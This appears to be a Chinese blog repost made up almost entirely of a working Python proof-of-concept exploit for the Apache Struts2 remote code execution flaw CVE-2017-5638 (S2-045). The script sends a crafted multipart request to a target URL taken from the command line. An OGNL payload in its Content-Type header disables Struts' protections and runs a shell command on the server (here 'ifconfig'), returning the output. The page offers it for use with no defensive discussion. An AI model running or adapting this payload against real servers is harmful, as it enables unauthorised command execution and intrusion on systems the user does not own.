zoukankan      html  css  js  c++  java
  • [附POC]Apache Struts2最新(CVE-2017-5638,S02-45)POC

    #! /usr/bin/env python
    # encoding:utf-8
    import urllib2
    import sys
    from poster.encode import multipart_encode
    from poster.streaminghttp import register_openers
    def poc():
        register_openers()
        datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
        header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
        header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
        request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
        response = urllib2.urlopen(request)
        print response.read()
    poc()

    
    
  • 相关阅读:
    linux-tar备份
    实验
    华为HCIA-命令及配置
    1、基本知识
    linux 安装samba
    POJ 2676 Sudoku (搜索,Dancing Links)
    HDU 1535 Invitation Cards (最短路,附SLF优化SPFA)
    ZOJ 3625 Geek's Collection (数学公式,注意long double输出格式,附输出格式总结)
    SGU 185 Two shortest (最大流)
    SPOJ PROFIT Maximum Profit (最大闭合权子图,最小割)
  • 原文地址:https://www.cnblogs.com/waw/p/6520209.html
Copyright © 2011-2022 走看看